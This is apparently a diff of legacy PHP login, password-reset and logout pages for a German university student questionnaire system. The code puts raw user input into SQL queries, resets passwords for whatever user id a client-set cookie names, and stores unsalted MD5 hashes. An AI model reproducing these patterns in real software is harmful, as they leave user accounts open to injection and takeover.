<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
exit;
}
setcookie("uid1","");
setcookie("uid1","$row[uid]");
echo "
<meta http-equiv=\"refresh\" content=\"0; URL=hauptframe.htm\">
";
break;
case "pass_gen":
$uid1=$_COOKIE["uid1"];
$pool = "qwertzupasdfghkyxcvbnm";
$pool .= "23456789";
$pool .= "WERTZUPLKJHGFDSAYXCVBNM";
srand ((double)microtime()*1000000);
for($index = 0; $index < 7; $index++)
{
$pass_word .= substr($pool,(rand()%(strlen ($pool))), 1);
}
$new_pw_md5=md5($pass_word);
$sql = mysql_query ("UPDATE stud SET pwd='$new_pw_md5' WHERE uid='$uid1'");
// Nachricht &uuml;ber Passwortr&uuml;cksetzung: Hinzugef&uuml;gt 19.09.2006
$result2 = mysql_query("SELECT uid, vorname, nachname, mail FROM kurs.stud where uid='$uid1'");
$row2 = mysql_fetch_array($result2);
$empfaenger = "$row2[mail]";
$betreff = "Kurssystem: Passwort zur&uuml;ckgesetzt";
$text = "
<html>
<head>
<title>Passwort zur&uuml;ckgesetzt</title>
</head>
<body>
<font face='Arial' size='2'>
Guten Tag $row2[vorname] $row2[nachname]!<br><br>
Sie haben Ihr Passwort im Kurssystem zur&uuml;ckgesetzt!<br>
Nachfolgend finden Sie Ihre neuen Zugangsdaten:
<br>
<br>
<table>
<tr>
<td valign='top'>
<font face='Arial' size='2'>
Benutzerkennung:
</font>
</td>
<td valign='top'>
<font face='Arial' size='2'>
<b>$row2[uid]</b>
</font>
</td>
</tr>
<tr>
<td valign='top'>
<font face='Arial' size='2'>
Passwort:
</font>
</td>
<td valign='top'>
<font face='Arial' size='2'>
<b>$pass_word</b>
</font>
</td>
</tr>
</table>
<br>
Bitte beachten Sie, dass zwischen Gro&szlig;- und<br>
Kleinschreibung unterschieden wird.
<p>
&Auml;ndern Sie bitte zu Ihrer eigenen Sicherheit das<br>
Passwort nach dem ersten Login.
<p>
Link zum Anmeldesystem: <a href=\"http://www.fh-ludwigsburg.de/kurs\">Kurssystem</a>
<p>
Diese Mail wurde automatisch generiert!<br>
Antworten Sie daher nicht auf diese Mail<br>
<br>
Vielen Dank
</body>
</html>";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$return = @mail($empfaenger, $betreff, $text, $headers);
// ENDE Nachricht &uuml;ber Passwortr&uuml;cksetzung
if($return){
echo "
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Best&auml;tigung</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Mailversand!</b><br><br>
Ihr neues Passwort wurde an $row2[mail] geschickt.
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
exit;
}else{
echo "
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Versandfehler</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Versandfehler!</b><br><br>
Das Passwort konnte nicht verschickt werden!
<br>
<br>
Bitte wenden Sie sich an <a href=\"mailto:$helpmail?subject=Keine Anmeldekennung\">$ansprechpart</a></p>
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
exit;
}
} // Ende IF von Action Abfrage
?>

561
index_db.php Executable file
View File

@ -0,0 +1,561 @@
<?php
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
#require("check_zweig.php"); // Prüft, ob Innenverwaltung angemeldet ist: setzt datenbankanbindung.php voraus
$db = dbconnect();
$ansp = $db->query("SELECT wert1, wert2 FROM kurs.parameter WHERE pid='1'");
$uhd = $ansp->fetch_array();
$ansprechpart = "$uhd[wert1]"; // Ansprechpartner bei Probleme
$helpmail = "$uhd[wert2]"; // Kontaktmailadresse bei Problemen
if (isset($_GET['action']))
$action = $_GET['action'];
else
$action = "";
switch($action){
default:
echo"
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Aespa</title>
</head>
<body onload=\"if(document.login)document.login.uid.focus();return false;\">
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<font class=\"hd\">
Login AESPA</font><br>
<span class=\"sh\">
Im System k&ouml;nnen Sie den Fragebogen zum Auslandspraktium ausfüllen</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p><b>Folgende Loginkriterien sind zu beachten:</b> </p>
<ul>
<li>Der Logindaten entsprechen denen des Anmeldesystems der FH-Ludwigsburg</li>
<li>Der Benutzername darf <b>keine</b> Zus&auml;tze enthalten (.stud05 usw.)</li>
</ul>
<p></p>
<p></p>
<p></p>
<p></p>
<form action=";echo $_SERVER['PHP_SELF'] . "?action=anmeld";echo" method=\"POST\" name=\"login\">
<input type=\"hidden\" name=\"tparam\" value=\"945180225\">
<table cellspacing=\"1\" cellpadding=\"1\" width=\"100%\" border=\"0\">
<tr>
<td class=\"formdesc\">
Benutzername
</td>
<td>
<input type=\"text\" name=\"uid\" value size=\"20\" maxlength=\"60\" tabindex=\"1\" onchange=\"document.login.pwd.focus()\"></td>
</tr>
<tr>
<td class=\"formdesc\">
Passwort
</td>
<td>
<input type=\"password\" name=\"pwd\" size=\"20\" tabindex=\"2\"></td>
</tr>
<tr class=\"login\">
<td align=\"right\" colspan=\"2\">
<input title=\"Login\" type=\"image\" src=\"images/b_login.gif\" border=\"0\"></td>
</tr>
</table>
</form>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
break;
case "anmeld":
$uid = strtolower($_POST[uid]);
$pwd = $_POST[pwd];
$db = dbconnect();
$result = $db->query("SELECT LOWER(uid) uid, Pwd FROM kurs.stud where uid=\"$uid\"");
$row = $result->fetch_array();
// Abfrage, was tun wenn Felder leer sind bzw. Passwort falsch ist
if ($uid == "" or $_POST['pwd'] == "")
{
echo "
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Fehlerhafte Eingabe </span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Es m&uuml;ssen alle Felder ausgef&uuml;llt werden</b>
</p>
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>
";
exit;
}
if ($uid != $row[uid]) {
echo"
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Falscher Benutzername</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Der Anmeldenamen ist im System nicht vorhanden!<br>
Wenden Sie sich bitte an
<a href=\"mailto:$helpmail?subject=Keine Anmeldekennung\">$ansprechpart</a></b></p>
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>
";
exit;
}
$passwd = md5($_POST['pwd']);
if ($passwd != $row[Pwd]){
// Cokkie hier, falls PW generiert werden soll
setcookie("uid1","");
setcookie("uid1","$row[uid]");
echo "
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Falsches Passwort</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Das eingegebene Passwort ist falsch!</b><br><br>
Sie k&ouml;nnen sich ein neues Passwort an Ihre<br>FH-Mailadresse schicken lassen: <a href="; echo $_SERVER['PHP_SELF'] . "?action=pass_gen>Neues Passwort</a>
<br>
<br>
Bei weiteren Problemen wenden Sie sich bitte<br>
an <a href=\"mailto:$helpmail?subject=Keine Anmeldekennung\">$ansprechpart</a></b></p>
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
exit;
}
setcookie("uid1","");
setcookie("uid1","$row[uid]");
echo "
<meta http-equiv=\"refresh\" content=\"0; URL=hauptframe.htm\">
";
break;
case "pass_gen":
$uid1=$_COOKIE["uid1"];
$pool = "qwertzupasdfghkyxcvbnm";
$pool .= "23456789";
$pool .= "WERTZUPLKJHGFDSAYXCVBNM";
srand ((double)microtime()*1000000);
for($index = 0; $index < 7; $index++)
{
$pass_word .= substr($pool,(rand()%(strlen ($pool))), 1);
}
$new_pw_md5=md5($pass_word);
$sql = $db->query("UPDATE stud SET pwd='$new_pw_md5' WHERE uid='$uid1'");
// Nachricht &uuml;ber Passwortr&uuml;cksetzung: Hinzugef&uuml;gt 19.09.2006
$result2 = $db->query("SELECT uid, vorname, nachname, mail FROM kurs.stud where uid='$uid1'");
$row2 = $result2->fetch_array();
$empfaenger = "$row2[mail]";
$betreff = "Kurssystem: Passwort zur&uuml;ckgesetzt";
$text = "
<html>
<head>
<title>Passwort zur&uuml;ckgesetzt</title>
</head>
<body>
<font face='Arial' size='2'>
Guten Tag $row2[vorname] $row2[nachname]!<br><br>
Sie haben Ihr Passwort im Kurssystem zur&uuml;ckgesetzt!<br>
Nachfolgend finden Sie Ihre neuen Zugangsdaten:
<br>
<br>
<table>
<tr>
<td valign='top'>
<font face='Arial' size='2'>
Benutzerkennung:
</font>
</td>
<td valign='top'>
<font face='Arial' size='2'>
<b>$row2[uid]</b>
</font>
</td>
</tr>
<tr>
<td valign='top'>
<font face='Arial' size='2'>
Passwort:
</font>
</td>
<td valign='top'>
<font face='Arial' size='2'>
<b>$pass_word</b>
</font>
</td>
</tr>
</table>
<br>
Bitte beachten Sie, dass zwischen Gro&szlig;- und<br>
Kleinschreibung unterschieden wird.
<p>
&Auml;ndern Sie bitte zu Ihrer eigenen Sicherheit das<br>
Passwort nach dem ersten Login.
<p>
Link zum Anmeldesystem: <a href=\"http://www.fh-ludwigsburg.de/kurs\">Kurssystem</a>
<p>
Diese Mail wurde automatisch generiert!<br>
Antworten Sie daher nicht auf diese Mail<br>
<br>
Vielen Dank
</body>
</html>";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
$return = @mail($empfaenger, $betreff, $text, $headers);
// ENDE Nachricht &uuml;ber Passwortr&uuml;cksetzung
if($return){
echo "
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Best&auml;tigung</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Mailversand!</b><br><br>
Ihr neues Passwort wurde an $row2[mail] geschickt.
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
exit;
}else{
echo "
<html>
<head>
<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Login Stellenantragssystem</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\">
<img src=\"images/i_login.gif\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Versandfehler</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Versandfehler!</b><br><br>
Das Passwort konnte nicht verschickt werden!
<br>
<br>
Bitte wenden Sie sich an <a href=\"mailto:$helpmail?subject=Keine Anmeldekennung\">$ansprechpart</a></p>
<p align=\"center\"><a href=\"index.php\">
<img border=\"0\" src=\"images/zurueck.gif\" width=\"77\" height=\"22\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
exit;
}
} // Ende IF von Action Abfrage
?>

64
logout.php Executable file
View File

@ -0,0 +1,64 @@
<?php
setcookie("uid1", "", time() - 1);
echo "
<html>
<head>
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<title>Zugang gesperrt</title>
</head>
<body>
<table border=\"0\" style=\"border-collapse: collapse\" width=\"100%\" cellpadding=\"0\" height=\"100%\" id=\"table1\">
<tr>
<td>
<div align=\"center\">
<table cellspacing=\"0\" cellpadding=\"0\" width=\"550\" border=\"0\">
<tr>
<td width=\"10\" background=\"images/box_e1.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"3%\" background=\"images/box_top.gif\" valign=\"top\"></td>
<td width=\"95%\" background=\"images/box_top.gif\">
<img height=\"10\" src=\"images/blank.gif\" width=\"1\"><br>
<span class=\"sh\">Abmeldung</span><br>
<img height=\"5\" src=\"images/blank.gif\" width=\"1\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e2.gif\">
<img height=\"40\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td width=\"1%\" background=\"images/box_l.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
<td colspan=\"2\"><br>
<p align=\"center\"><b>Der Logoutvorgang wurde erfolgreich abgeschlossen!</b>
</p>
<p align=\"center\"><a target=\"_parent\" href=\"index.php\">
<img border=\"0\" src=\"images/b_login.gif\"></a><br>
</p>
<p></p>
<p></p>
<p></p>
<p></p>
<p><br>
</p>
</td>
<td width=\"1%\" background=\"images/box_r.gif\">
<img height=\"1\" src=\"images/blank.gif\" width=\"22\"></td>
</tr>
<tr>
<td nowrap=\"nowrap\" align=\"left\" width=\"1%\" background=\"images/box_e3.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"></td>
<td nowrap=\"nowrap\" align=\"left\" width=\"98%\" background=\"images/box_bottom.gif\" colspan=\"2\">
<img height=\"16\" src=\"images/blank.gif\" width=\"8\"></td>
<td nowrap=\"nowrap\" align=\"right\" width=\"1%\" background=\"images/box_e4.gif\">
<img height=\"16\" src=\"images/blank.gif\" width=\"22\"> </td>
</tr>
</table>
</div>
</td>
</tr>
</table>
</body>
</html>";
?>

121
menuframe.php Executable file
View File

@ -0,0 +1,121 @@
<?php
include("aespa/datenbankanbindung.php"); // f&uuml;gt die Datenbankanbindung ein: Sys:\php\includes\kurs\datenbankanbindung.php
session_start();
$uid=$_SESSION["uid1"];
echo"
<html>
<head>
<link rel=\"stylesheet\" href=\"styles_pc.css\" type=\"text/css\">
<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">
<title>Menu</title>
<base target=\"Hauptframe\">
<style type=\"text/css\">
body { font-family:Verdana;font-size:11px;color:#000000; }
a:link { font-family:verdana, arial;font-weight:normal;color:#000066; text-decoration:none;}
a:active { font-family:verdana, arial;font-weight:normal;color:#000066; text-decoration:none;}
a:visited { font-family:verdana, arial;font-weight:normal;color:#000066; text-decoration:none;}
a:hover { font-family:verdana, arial;font-weight:normal;color:#000066;text-decoration:underline; }
a:link.sub { font-family:Verdana;font-size:10px;color:#000000;text-decoration:none; }
a:active.sub { font-family:Verdana;font-size:10px;color:#000000;text-decoration:none; }
a:visited.sub { font-family:Verdana;font-size:10px;color:#000000;text-decoration:none; }
